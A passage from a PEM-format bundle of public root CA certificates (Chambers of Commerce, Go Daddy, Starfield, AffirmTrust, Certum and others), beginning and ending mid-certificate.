0GqfvEyNBjNaooXlkDWgYlwWTvDjovoDGrQscbNYLN57C9saD+veIR8GdwYDsMnvmfzAuU8Lhij+ 0rnq49qlw0dpEuDb8PYZi+17cNcC1u2HGCgsBCRMd+RIihrGO5rUD8r6ddIBQFqNeb+Lz0vPqhbB leStTIo+F5HUsWLlguWABKQDfo2/2n+iD5dPDNMN+9fR5XJ+HMh3/1uaD7euBUbl8agW7EekFwID AQABo4H2MIHzMIGwBgNVHREEgagwgaWBD2luZm9AaXplbnBlLmNvbaSBkTCBjjFHMEUGA1UECgw+ SVpFTlBFIFMuQS4gLSBDSUYgQTAxMzM3MjYwLVJNZXJjLlZpdG9yaWEtR2FzdGVpeiBUMTA1NSBG NjIgUzgxQzBBBgNVBAkMOkF2ZGEgZGVsIE1lZGl0ZXJyYW5lbyBFdG9yYmlkZWEgMTQgLSAwMTAx MCBWaXRvcmlhLUdhc3RlaXowDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0O BBYEFB0cZQ6o8iV7tJHP5LGx5r1VdGwFMA0GCSqGSIb3DQEBCwUAA4ICAQB4pgwWSp9MiDrAyw6l Fn2fuUhfGI8NYjb2zRlrrKvV9pF9rnHzP7MOeIWblaQnIUdCSnxIOvVFfLMMjlF4rJUT3sb9fbga kEyrkgPH7UIBzg/YsfqikuFgba56awmqxinuaElnMIAkejEWOVt+8Rwu3WwJrfIxwYJOubv5vr8q hT/AQKM6WfxZSzwoJNu0FXWuDYi6LnPAvViH5ULy617uHjAimcs30cQhbIHsvm0m5hzkQiCeR7Cs g1lwLDXWrzY0tM07+DKo7+N4ifuNRSzanLh+QBxh5z6ikixL8s36mLYp//Pye6kfLqCTVyvehQP5 aTfLnnhqBbTFMXiJ7HqnheG5ezzevh55hM6fcA5ZwjUukCox2eRFekGkLhObNA5me0mrZJfQRsN5 nXJQY6aYWwa9SG3YOYNw6DXwBdGqvOPbyALqfP2C2sJbUjWumDqtujWTI6cfSN01RpiyEGjkpTHC ClguGYEQyVB1/OpaFs4R1+7vUIgtYf8/QnMFlEPVjjxOAToZpR9GTnfQXeWBIiGH/pR9hNiTrdZo Q0iy2+tzJOeRf1SktoA+naM8THLCV8Sg1Mw4J87VBp6iSNnpn86CcDaTmjvfliHjWbcM2pE38P1Z WrOZyGlsQyYBNWNgVYkDOnXYukrZVP/u3oDYLdE41V4tC5h9Pmzb/CaIxw== -----END CERTIFICATE----- Chambers of Commerce Root - 2008 ================================ -----BEGIN CERTIFICATE----- MIIHTzCCBTegAwIBAgIJAKPaQn6ksa7aMA0GCSqGSIb3DQEBBQUAMIGuMQswCQYDVQQGEwJFVTFD MEEGA1UEBxM6TWFkcmlkIChzZWUgY3VycmVudCBhZGRyZXNzIGF0IHd3dy5jYW1lcmZpcm1hLmNv bS9hZGRyZXNzKTESMBAGA1UEBRMJQTgyNzQzMjg3MRswGQYDVQQKExJBQyBDYW1lcmZpcm1hIFMu QS4xKTAnBgNVBAMTIENoYW1iZXJzIG9mIENvbW1lcmNlIFJvb3QgLSAyMDA4MB4XDTA4MDgwMTEy Mjk1MFoXDTM4MDczMTEyMjk1MFowga4xCzAJBgNVBAYTAkVVMUMwQQYDVQQHEzpNYWRyaWQgKHNl ZSBjdXJyZW50IGFkZHJlc3MgYXQgd3d3LmNhbWVyZmlybWEuY29tL2FkZHJlc3MpMRIwEAYDVQQF EwlBODI3NDMyODcxGzAZBgNVBAoTEkFDIENhbWVyZmlybWEgUy5BLjEpMCcGA1UEAxMgQ2hhbWJl cnMgb2YgQ29tbWVyY2UgUm9vdCAtIDIwMDgwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoIC AQCvAMtwNyuAWko6bHiUfaN/Gh/2NdW928sNRHI+JrKQUrpjOyhYb6WzbZSm891kDFX29ufyIiKA XuFixrYp4YFs8r/lfTJqVKAyGVn+H4vXPWCGhSRv4xGzdz4gljUha7MI2XAuZPeEklPWDrCQiorj h40G072QDuKZoRuGDtqaCrsLYVAGUvGef3bsyw/QHg3PmTA9HMRFEFis1tPo1+XqxQEHd9ZR5gN/ ikilTWh1uem8nk4ZcfUyS5xtYBkL+8ydddy/Js2Pk3g5eXNeJQ7KXOt3EgfLZEFHcpOrUMPrCXZk NNI5t3YRCQ12RcSprj1qr7V9ZS+UWBDsXHyvfuK2GNnQm05aSd+pZgvMPMZ4fKecHePOjlO+Bd5g D2vlGts/4+EhySnB8esHnFIbAURRPHsl18TlUlRdJQfKFiC4reRB7noI/plvg6aRArBsNlVq5331 lubKgdaX8ZSD6e2wsWsSaR6s+12pxZjptFtYer49okQ6Y1nUCyXeG0+95QGezdIp1Z8XGQpvvwyQ 0wlf2eOKNcx5Wk0ZN5K3xMGtr/R5JJqyAQuxr1yW84Ay+1w9mPGgP0revq+ULtlVmhduYJ1jbLhj ya6BXBg14JC7vjxPNyK5fuvPnnchpj04gftI2jE9K+OJ9dC1vX7gUMQSibMjmhAxhduub+84Mxh2 EQIDAQABo4IBbDCCAWgwEgYDVR0TAQH/BAgwBgEB/wIBDDAdBgNVHQ4EFgQU+SSsD7K1+HnA+mCI G8TZTQKeFxkwgeMGA1UdIwSB2zCB2IAU+SSsD7K1+HnA+mCIG8TZTQKeFxmhgbSkgbEwga4xCzAJ BgNVBAYTAkVVMUMwQQYDVQQHEzpNYWRyaWQgKHNlZSBjdXJyZW50IGFkZHJlc3MgYXQgd3d3LmNh bWVyZmlybWEuY29tL2FkZHJlc3MpMRIwEAYDVQQFEwlBODI3NDMyODcxGzAZBgNVBAoTEkFDIENh bWVyZmlybWEgUy5BLjEpMCcGA1UEAxMgQ2hhbWJlcnMgb2YgQ29tbWVyY2UgUm9vdCAtIDIwMDiC CQCj2kJ+pLGu2jAOBgNVHQ8BAf8EBAMCAQYwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUH AgEWHGh0dHA6Ly9wb2xpY3kuY2FtZXJmaXJtYS5jb20wDQYJKoZIhvcNAQEFBQADggIBAJASryI1 wqM58C7e6bXpeHxIvj99RZJe6dqxGfwWPJ+0W2aeaufDuV2I6A+tzyMP3iU6XsxPpcG1Lawk0lgH 3qLPaYRgM+gQDROpI9CF5Y57pp49chNyM/WqfcZjHwj0/gF/JM8rLFQJ3uIrbZLGOU8W6jx+ekbU RWpGqOt1glanq6B8aBMz9p0w8G8nOSQjKpD9kCk18pPfNKXG9/jvjA9iSnyu0/VU+I22mlaHFoI6 M6taIgj3grrqLuBHmrS1RaMFO9ncLkVAO+rcf+g769HsJtg1pDDFOqxXnrN2pSB7+R5KBWIBpih1 YJeSDW4+TTdDDZIVnBgizVGZoCkaPF+KMjNbMMeJL0eYD6MDxvbxrN8y8NmBGuScvfaAFPDRLLmF 9dijscilIeUcE5fuDr3fKanvNFNb0+RqE4QGtjICxFKuItLcsiFCGtpA8CnJ7AoMXOLQusxI0zcK zBIKinmwPQN/aUv0NCB9szTqjktk9T79syNnFQ0EuPAtwQlRPLJsFfClI9eDdOTlLsn+mCdCxqvG nrDQWzilm1DefhiYtUU79nm06PcaewaD+9CL2rvHvRirCG88gGtAPxkZumWK5r7VXNM21+9AUiRg OGcEMeyP84LG3rlV8zsxkVrctQgVrXYlCg17LofiDKYGvCYQbTed7N14jHyAxfDZd0jQ -----END CERTIFICATE----- Global Chambersign Root - 2008 ============================== -----BEGIN CERTIFICATE----- MIIHSTCCBTGgAwIBAgIJAMnN0+nVfSPOMA0GCSqGSIb3DQEBBQUAMIGsMQswCQYDVQQGEwJFVTFD MEEGA1UEBxM6TWFkcmlkIChzZWUgY3VycmVudCBhZGRyZXNzIGF0IHd3dy5jYW1lcmZpcm1hLmNv bS9hZGRyZXNzKTESMBAGA1UEBRMJQTgyNzQzMjg3MRswGQYDVQQKExJBQyBDYW1lcmZpcm1hIFMu QS4xJzAlBgNVBAMTHkdsb2JhbCBDaGFtYmVyc2lnbiBSb290IC0gMjAwODAeFw0wODA4MDExMjMx NDBaFw0zODA3MzExMjMxNDBaMIGsMQswCQYDVQQGEwJFVTFDMEEGA1UEBxM6TWFkcmlkIChzZWUg Y3VycmVudCBhZGRyZXNzIGF0IHd3dy5jYW1lcmZpcm1hLmNvbS9hZGRyZXNzKTESMBAGA1UEBRMJ QTgyNzQzMjg3MRswGQYDVQQKExJBQyBDYW1lcmZpcm1hIFMuQS4xJzAlBgNVBAMTHkdsb2JhbCBD aGFtYmVyc2lnbiBSb290IC0gMjAwODCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMDf VtPkOpt2RbQT2//BthmLN0EYlVJH6xedKYiONWwGMi5HYvNJBL99RDaxccy9Wglz1dmFRP+RVyXf XjaOcNFccUMd2drvXNL7G706tcuto8xEpw2uIRU/uXpbknXYpBI4iRmKt4DS4jJvVpyR1ogQC7N0 ZJJ0YPP2zxhPYLIj0Mc7zmFLmY/CDNBAspjcDahOo7kKrmCgrUVSY7pmvWjg+b4aqIG7HkF4ddPB /gBVsIdU6CeQNR1MM62X/JcumIS/LMmjv9GYERTtY/jKmIhYF5ntRQOXfjyGHoiMvvKRhI9lNNgA TH23MRdaKXoKGCQwoze1eqkBfSbW+Q6OWfH9GzO1KTsXO0G2Id3UwD2ln58fQ1DJu7xsepeY7s2M H/ucUa6LcL0nn3HAa6x9kGbo1106DbDVwo3VyJ2dwW3Q0L9R5OP4wzg2rtandeavhENdk5IMagfe Ox2YItaswTXbo6Al/3K1dh3ebeksZixShNBFks4c5eUzHdwHU1SjqoI7mjcv3N2gZOnm3b2u/GSF HTynyQbehP9r6GsaPMWis0L7iwk+XwhSx2LE1AVxv8Rk5Pihg+g+EpuoHtQ2TS9x9o0o9oOpE9Jh wZG7SMA0j0GMS0zbaRL/UJScIINZc+18ofLx/d33SdNDWKBWY8o9PeU1VlnpDsogzCtLkykPAgMB AAGjggFqMIIBZjASBgNVHRMBAf8ECDAGAQH/AgEMMB0GA1UdDgQWBBS5CcqcHtvTbDprru1U8VuT BjUuXjCB4QYDVR0jBIHZMIHWgBS5CcqcHtvTbDprru1U8VuTBjUuXqGBsqSBrzCBrDELMAkGA1UE BhMCRVUxQzBBBgNVBAcTOk1hZHJpZCAoc2VlIGN1cnJlbnQgYWRkcmVzcyBhdCB3d3cuY2FtZXJm aXJtYS5jb20vYWRkcmVzcykxEjAQBgNVBAUTCUE4Mjc0MzI4NzEbMBkGA1UEChMSQUMgQ2FtZXJm aXJtYSBTLkEuMScwJQYDVQQDEx5HbG9iYWwgQ2hhbWJlcnNpZ24gUm9vdCAtIDIwMDiCCQDJzdPp 1X0jzjAOBgNVHQ8BAf8EBAMCAQYwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0 dHA6Ly9wb2xpY3kuY2FtZXJmaXJtYS5jb20wDQYJKoZIhvcNAQEFBQADggIBAICIf3DekijZBZRG /5BXqfEv3xoNa/p8DhxJJHkn2EaqbylZUohwEurdPfWbU1Rv4WCiqAm57OtZfMY18dwY6fFn5a+6 ReAJ3spED8IXDneRRXozX1+WLGiLwUePmJs9wOzL9dWCkoQ10b42OFZyMVtHLaoXpGNR6woBrX/s dZ7LoR/xfxKxueRkf2fWIyr0uDldmOghp+G9PUIadJpwr2hsUF1Jz//7Dl3mLEfXgTpZALVza2Mg 9jFFCDkO9HB+QHBaP9BrQql0PSgvAm11cpUJjUhjxsYjV5KTXjXBjfkK9yydYhz2rXzdpjEetrHH foUm+qRqtdpjMNHvkzeyZi99Bffnt0uYlDXA2TopwZ2yUDMdSqlapskD7+3056huirRXhOukP9Du qqqHW2Pok+JrqNS4cnhrG+055F3Lm6qH1U9OAP7Zap88MQ8oAgF9mOinsKJknnn4SPIVqczmyETr P3iZ8ntxPjzxmKfFGBI/5rsoM0LpRQp8bfKGeS/Fghl9CYl8slR2iK7ewfPM4W7bMdaTrpmg7yVq c5iJWzouE4gev8CSlDQb4ye3ix5vQv/n6TebUB0tovkC7stYWDpxvGjjqsGvHCgfotwjZT+B6q6Z 09gwzxMNTxXJhLynSC34MCN32EZLeW32jO06f2ARePTpm67VVMB0gNELQp/B -----END CERTIFICATE----- Go Daddy Root Certificate Authority - G2 ======================================== -----BEGIN CERTIFICATE----- MIIDxTCCAq2gAwIBAgIBADANBgkqhkiG9w0BAQsFADCBgzELMAkGA1UEBhMCVVMxEDAOBgNVBAgT B0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxGjAYBgNVBAoTEUdvRGFkZHkuY29tLCBJbmMu MTEwLwYDVQQDEyhHbyBEYWRkeSBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTA5 MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgYMxCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6 b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMRowGAYDVQQKExFHb0RhZGR5LmNvbSwgSW5jLjExMC8G A1UEAxMoR28gRGFkZHkgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZI hvcNAQEBBQADggEPADCCAQoCggEBAL9xYgjx+lk09xvJGKP3gElY6SKDE6bFIEMBO4Tx5oVJnyfq 9oQbTqC023CYxzIBsQU+B07u9PpPL1kwIuerGVZr4oAH/PMWdYA5UXvl+TW2dE6pjYIT5LY/qQOD +qK+ihVqf94Lw7YZFAXK6sOoBJQ7RnwyDfMAZiLIjWltNowRGLfTshxgtDj6AozO091GB94KPutd fMh8+7ArU6SSYmlRJQVhGkSBjCypQ5Yj36w6gZoOKcUcqeldHraenjAKOc7xiID7S13MMuyFYkMl NAJWJwGRtDtwKj9useiciAF9n9T521NtYJ2/LOdYq7hfRvzOxBsDPAnrSTFcaUaz4EcCAwEAAaNC MEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFDqahQcQZyi27/a9 BUFuIMGU2g/eMA0GCSqGSIb3DQEBCwUAA4IBAQCZ21151fmXWWcDYfF+OwYxdS2hII5PZYe096ac vNjpL9DbWu7PdIxztDhC2gV7+AJ1uP2lsdeu9tfeE8tTEH6KRtGX+rcuKxGrkLAngPnon1rpN5+r 5N9ss4UXnT3ZJE95kTXWXwTrgIOrmgIttRD02JDHBHNA7XIloKmf7J6raBKZV8aPEjoJpL1E/QYV N8Gb5DKj7Tjo2GTzLH4U/ALqn83/B2gX2yKQOC16jdFU8WnjXzPKej17CuPKf1855eJ1usV2GDPO LPAvTK33sefOT6jEm0pUBsV/fdUID+Ic/n4XuKxe9tQWskMJDE32p2u0mYRlynqI4uJEvlz36hz1 -----END CERTIFICATE----- Starfield Root Certificate Authority - G2 ========================================= -----BEGIN CERTIFICATE----- MIID3TCCAsWgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBjzELMAkGA1UEBhMCVVMxEDAOBgNVBAgT B0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoTHFN0YXJmaWVsZCBUZWNobm9s b2dpZXMsIEluYy4xMjAwBgNVBAMTKVN0YXJmaWVsZCBSb290IENlcnRpZmljYXRlIEF1dGhvcml0 eSAtIEcyMB4XDTA5MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgY8xCzAJBgNVBAYTAlVTMRAw DgYDVQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxTdGFyZmllbGQg VGVjaG5vbG9naWVzLCBJbmMuMTIwMAYDVQQDEylTdGFyZmllbGQgUm9vdCBDZXJ0aWZpY2F0ZSBB dXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAL3twQP89o/8ArFv W59I2Z154qK3A2FWGMNHttfKPTUuiUP3oWmb3ooa/RMgnLRJdzIpVv257IzdIvpy3Cdhl+72WoTs bhm5iSzchFvVdPtrX8WJpRBSiUZV9Lh1HOZ/5FSuS/hVclcCGfgXcVnrHigHdMWdSL5stPSksPNk N3mSwOxGXn/hbVNMYq/NHwtjuzqd+/x5AJhhdM8mgkBj87JyahkNmcrUDnXMN/uLicFZ8WJ/X7Nf ZTD4p7dNdloedl40wOiWVpmKs/B/pM293DIxfJHP4F8R+GuqSVzRmZTRouNjWwl2tVZi4Ut0HZbU JtQIBFnQmA4O5t78w+wfkPECAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC AQYwHQYDVR0OBBYEFHwMMh+n2TB/xH1oo2Kooc6rB1snMA0GCSqGSIb3DQEBCwUAA4IBAQARWfol TwNvlJk7mh+ChTnUdgWUXuEok21iXQnCoKjUsHU48TRqneSfioYmUeYs0cYtbpUgSpIB7LiKZ3sx 4mcujJUDJi5DnUox9g61DLu34jd/IroAow57UvtruzvE03lRTs2Q9GcHGcg8RnoNAX3FWOdt5oUw F5okxBDgBPfg8n/Uqgr/Qh037ZTlZFkSIHc40zI+OIF1lnP6aI+xy84fxez6nH7PfrHxBy22/L/K pL/QlwVKvOoYKAKQvVR4CSFx09F9HdkWsKlhPdAKACL8x3vLCWRFCztAgfd9fDL1mMpYjn0q7pBZ c2T5NnReJaH1ZgUufzkVqSr7UIuOhWn0 -----END CERTIFICATE----- Starfield Services Root Certificate Authority - G2 ================================================== -----BEGIN CERTIFICATE----- MIID7zCCAtegAwIBAgIBADANBgkqhkiG9w0BAQsFADCBmDELMAkGA1UEBhMCVVMxEDAOBgNVBAgT B0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoTHFN0YXJmaWVsZCBUZWNobm9s b2dpZXMsIEluYy4xOzA5BgNVBAMTMlN0YXJmaWVsZCBTZXJ2aWNlcyBSb290IENlcnRpZmljYXRl IEF1dGhvcml0eSAtIEcyMB4XDTA5MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgZgxCzAJBgNV BAYTAlVTMRAwDgYDVQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxT dGFyZmllbGQgVGVjaG5vbG9naWVzLCBJbmMuMTswOQYDVQQDEzJTdGFyZmllbGQgU2VydmljZXMg Um9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC AQoCggEBANUMOsQq+U7i9b4Zl1+OiFOxHz/Lz58gE20pOsgPfTz3a3Y4Y9k2YKibXlwAgLIvWX/2 h/klQ4bnaRtSmpDhcePYLQ1Ob/bISdm28xpWriu2dBTrz/sm4xq6HZYuajtYlIlHVv8loJNwU4Pa hHQUw2eeBGg6345AWh1KTs9DkTvnVtYAcMtS7nt9rjrnvDH5RfbCYM8TWQIrgMw0R9+53pBlbQLP LJGmpufehRhJfGZOozptqbXuNC66DQO4M99H67FrjSXZm86B0UVGMpZwh94CDklDhbZsc7tk6mFB rMnUVN+HL8cisibMn1lUaJ/8viovxFUcdUBgF4UCVTmLfwUCAwEAAaNCMEAwDwYDVR0TAQH/BAUw AwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFJxfAN+qAdcwKziIorhtSpzyEZGDMA0GCSqG SIb3DQEBCwUAA4IBAQBLNqaEd2ndOxmfZyMIbw5hyf2E3F/YNoHN2BtBLZ9g3ccaaNnRbobhiCPP E95Dz+I0swSdHynVv/heyNXBve6SbzJ08pGCL72CQnqtKrcgfU28elUSwhXqvfdqlS5sdJ/PHLTy xQGjhdByPq1zqwubdQxtRbeOlKyWN7Wg0I8VRw7j6IPdj/3vQQF3zCepYoUz8jcI73HPdwbeyBkd iEDPfUYd/x7H4c7/I9vG+o1VTqkC50cRRj70/b17KSa7qWFiNyi2LSr2EIZkyXCn0q23KXB56jza YyWf/Wi3MOxw+3WKt21gZ7IeyLnp2KhvAotnDU0mV3HaIPzBSlCNsSi6 -----END CERTIFICATE----- AffirmTrust Commercial ====================== -----BEGIN CERTIFICATE----- MIIDTDCCAjSgAwIBAgIId3cGJyapsXwwDQYJKoZIhvcNAQELBQAwRDELMAkGA1UEBhMCVVMxFDAS BgNVBAoMC0FmZmlybVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBDb21tZXJjaWFsMB4XDTEw MDEyOTE0MDYwNloXDTMwMTIzMTE0MDYwNlowRDELMAkGA1UEBhMCVVMxFDASBgNVBAoMC0FmZmly bVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBDb21tZXJjaWFsMIIBIjANBgkqhkiG9w0BAQEF AAOCAQ8AMIIBCgKCAQEA9htPZwcroRX1BiLLHwGy43NFBkRJLLtJJRTWzsO3qyxPxkEylFf6Eqdb DuKPHx6GGaeqtS25Xw2Kwq+FNXkyLbscYjfysVtKPcrNcV/pQr6U6Mje+SJIZMblq8Yrba0F8PrV C8+a5fBQpIs7R6UjW3p6+DM/uO+Zl+MgwdYoic+U+7lF7eNAFxHUdPALMeIrJmqbTFeurCA+ukV6 BfO9m2kVrn1OIGPENXY6BwLJN/3HR+7o8XYdcxXyl6S1yHp52UKqK39c/s4mT6NmgTWvRLpUHhww MmWd5jyTXlBOeuM61G7MGvv50jeuJCqrVwMiKA1JdX+3KNp1v47j3A55MQIDAQABo0IwQDAdBgNV HQ4EFgQUnZPGU4teyq8/nx4P5ZmVvCT2lI8wDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC AQYwDQYJKoZIhvcNAQELBQADggEBAFis9AQOzcAN/wr91LoWXym9e2iZWEnStB03TX8nfUYGXUPG hi4+c7ImfU+TqbbEKpqrIZcUsd6M06uJFdhrJNTxFq7YpFzUf1GO7RgBsZNjvbz4YYCanrHOQnDi qX0GJX0nof5v7LMeJNrjS1UaADs1tDvZ110w/YETifLCBivtZ8SOyUOyXGsViQK8YvxO8rUzqrJv 0wqiUOP2O+guRMLbZjipM1ZI8W0bM40NjD9gN53Tym1+NH4Nn3J2ixufcv1SNUFFApYvHLKac0kh sUlHRUe072o0EclNmsxZt9YCnlpOZbWUrhvfKbAW8b8Angc6F2S1BLUjIZkKlTuXfO8= -----END CERTIFICATE----- AffirmTrust Networking ====================== -----BEGIN CERTIFICATE----- MIIDTDCCAjSgAwIBAgIIfE8EORzUmS0wDQYJKoZIhvcNAQEFBQAwRDELMAkGA1UEBhMCVVMxFDAS BgNVBAoMC0FmZmlybVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBOZXR3b3JraW5nMB4XDTEw MDEyOTE0MDgyNFoXDTMwMTIzMTE0MDgyNFowRDELMAkGA1UEBhMCVVMxFDASBgNVBAoMC0FmZmly bVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBOZXR3b3JraW5nMIIBIjANBgkqhkiG9w0BAQEF AAOCAQ8AMIIBCgKCAQEAtITMMxcua5Rsa2FSoOujz3mUTOWUgJnLVWREZY9nZOIG41w3SfYvm4SE Hi3yYJ0wTsyEheIszx6e/jarM3c1RNg1lho9Nuh6DtjVR6FqaYvZ/Ls6rnla1fTWcbuakCNrmreI dIcMHl+5ni36q1Mr3Lt2PpNMCAiMHqIjHNRqrSK6mQEubWXLviRmVSRLQESxG9fhwoXA3hA/Pe24 /PHxI1Pcv2WXb9n5QHGNfb2V1M6+oF4nI979ptAmDgAp6zxG8D1gvz9Q0twmQVGeFDdCBKNwV6gb h+0t+nvujArjqWaJGctB+d1ENmHP4ndGyH329JKBNv3bNPFyfvMMFr20FQIDAQABo0IwQDAdBgNV HQ4EFgQUBx/S55zawm6iQLSwelAQUHTEyL0wDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC AQYwDQYJKoZIhvcNAQEFBQADggEBAIlXshZ6qML91tmbmzTCnLQyFE2npN/svqe++EPbkTfOtDIu UFUaNU52Q3Eg75N3ThVwLofDwR1t3Mu1J9QsVtFSUzpE0nPIxBsFZVpikpzuQY0x2+c06lkh1QF6 12S4ZDnNye2v7UsDSKegmQGA3GWjNq5lWUhPgkvIZfFXHeVZLgo/bNjR9eUJtGxUAArgFU2HdW23 WJZa3W3SAKD0m0i+wzekujbgfIeFlxoVot4uolu9rxj5kFDNcFn4J2dHy8egBzp90SxdbBk6ZrV9 /ZFvgrG+CJPbFEfxojfHRZ48x3evZKiT3/Zpg4Jg8klCNO1aAFSFHBY2kgxc+qatv9s= -----END CERTIFICATE----- AffirmTrust Premium =================== -----BEGIN CERTIFICATE----- MIIFRjCCAy6gAwIBAgIIbYwURrGmCu4wDQYJKoZIhvcNAQEMBQAwQTELMAkGA1UEBhMCVVMxFDAS BgNVBAoMC0FmZmlybVRydXN0MRwwGgYDVQQDDBNBZmZpcm1UcnVzdCBQcmVtaXVtMB4XDTEwMDEy OTE0MTAzNloXDTQwMTIzMTE0MTAzNlowQTELMAkGA1UEBhMCVVMxFDASBgNVBAoMC0FmZmlybVRy dXN0MRwwGgYDVQQDDBNBZmZpcm1UcnVzdCBQcmVtaXVtMIICIjANBgkqhkiG9w0BAQEFAAOCAg8A MIICCgKCAgEAxBLfqV/+Qd3d9Z+K4/as4Tx4mrzY8H96oDMq3I0gW64tb+eT2TZwamjPjlGjhVtn BKAQJG9dKILBl1fYSCkTtuG+kU3fhQxTGJoeJKJPj/CihQvL9Cl/0qRY7iZNyaqoe5rZ+jjeRFcV 5fiMyNlI4g0WJx0eyIOFJbe6qlVBzAMiSy2RjYvmia9mx+n/K+k8rNrSs8PhaJyJ+HoAVt70VZVs +7pk3WKL3wt3MutizCaam7uqYoNMtAZ6MMgpv+0GTZe5HMQxK9VfvFMSF5yZVylmd2EhMQcuJUmd GPLu8ytxjLW6OQdJd/zvLpKQBY0tL3d770O/Nbua2Plzpyzy0FfuKE4mX4+QaAkvuPjcBukumj5R p9EixAqnOEhss/n/fauGV+O61oV4d7pD6kh/9ti+I20ev9E2bFhc8e6kGVQa9QPSdubhjL08s9NI S+LI+H+SqHZGnEJlPqQewQcDWkYtuJfzt9WyVSHvutxMAJf7FJUnM7/oQ0dG0giZFmA7mn7S5u04 6uwBHjxIVkkJx0w3AJ6IDsBz4W9m6XJHMD4Q5QsDyZpCAGzFlH5hxIrff4IaC1nEWTJ3s7xgaVY5 /bQGeyzWZDbZvUjthB9+pSKPKrhC9IK31FOQeE4tGv2Bb0TXOwF0lkLgAOIua+rF7nKsu7/+6qqo +Nz2snmKtmcCAwEAAaNCMEAwHQYDVR0OBBYEFJ3AZ6YMItkm9UWrpmVSESfYRaxjMA8GA1UdEwEB /wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMA0GCSqGSIb3DQEBDAUAA4ICAQCzV00QYk465KzquByv MiPIs0laUZx2KI15qldGF9X1Uva3ROgIRL8YhNILgM3FEv0AVQVhh0HctSSePMTYyPtwni94loMg Nt58D2kTiKV1NpgIpsbfrM7jWNa3Pt668+s0QNiigfV4Py/VpfzZotReBA4Xrf5B8OWycvpEgjNC 6C1Y91aMYj+6QrCcDFx+LmUmXFNPALJ4fqENmS2NuB2OosSw/WDQMKSOyARiqcTtNd56l+0OOF6S L5Nwpamcb6d9Ex1+xghIsV5n61EIJenmJWtSKZGc0jlzCFfemQa0W50QBuHCAKi4HEoCChTQwUHK +4w1IX2COPKpVJEZNZOUbWo6xbLQu4mGk+ibyQ86p3q4ofB4Rvr8Ny/lioTz3/4E2aFooC8k4gmV BtWVyuEklut89pMFu+1z6S3RdTnX5yTb2E5fQ4+e0BQ5v1VwSJlXMbSc7kqYA5YwH2AG7hsj/oFg IxpHYoWlzBk0gG+zrBrjn/B7SK3VAdlntqlyk+otZrWyuOQ9PLLvTIzq6we/qzWaVYa8GKa1qF60 g2xraUDTn9zxw2lrueFtCfTxqlB2Cnp9ehehVZZCmTEJ3WARjQUwfuaORtGdFNrHF+QFlozEJLUb zxQHskD4o55BhrwE0GuWyCqANP2/7waj3VjFhT0+j/6eKeC2uAloGRwYQw== -----END CERTIFICATE----- AffirmTrust Premium ECC ======================= -----BEGIN CERTIFICATE----- MIIB/jCCAYWgAwIBAgIIdJclisc/elQwCgYIKoZIzj0EAwMwRTELMAkGA1UEBhMCVVMxFDASBgNV BAoMC0FmZmlybVRydXN0MSAwHgYDVQQDDBdBZmZpcm1UcnVzdCBQcmVtaXVtIEVDQzAeFw0xMDAx MjkxNDIwMjRaFw00MDEyMzExNDIwMjRaMEUxCzAJBgNVBAYTAlVTMRQwEgYDVQQKDAtBZmZpcm1U cnVzdDEgMB4GA1UEAwwXQWZmaXJtVHJ1c3QgUHJlbWl1bSBFQ0MwdjAQBgcqhkjOPQIBBgUrgQQA IgNiAAQNMF4bFZ0D0KF5Nbc6PJJ6yhUczWLznCZcBz3lVPqj1swS6vQUX+iOGasvLkjmrBhDeKzQ N8O9ss0s5kfiGuZjuD0uL3jET9v0D6RoTFVya5UdThhClXjMNzyR4ptlKymjQjBAMB0GA1UdDgQW BBSaryl6wBE1NSZRMADDav5A1a7WPDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAK BggqhkjOPQQDAwNnADBkAjAXCfOHiFBar8jAQr9HX/VsaobgxCd05DhT1wV/GzTjxi+zygk8N53X 57hG8f2h4nECMEJZh0PUUd+60wkyWs6Iflc9nF9Ca/UHLbXwgpP5WW+uZPpY5Yse42O+tYHNbwKM eQ== -----END CERTIFICATE----- Certum Trusted Network CA ========================= -----BEGIN CERTIFICATE----- MIIDuzCCAqOgAwIBAgIDBETAMA0GCSqGSIb3DQEBBQUAMH4xCzAJBgNVBAYTAlBMMSIwIAYDVQQK ExlVbml6ZXRvIFRlY2hub2xvZ2llcyBTLkEuMScwJQYDVQQLEx5DZXJ0dW0gQ2VydGlmaWNhdGlv 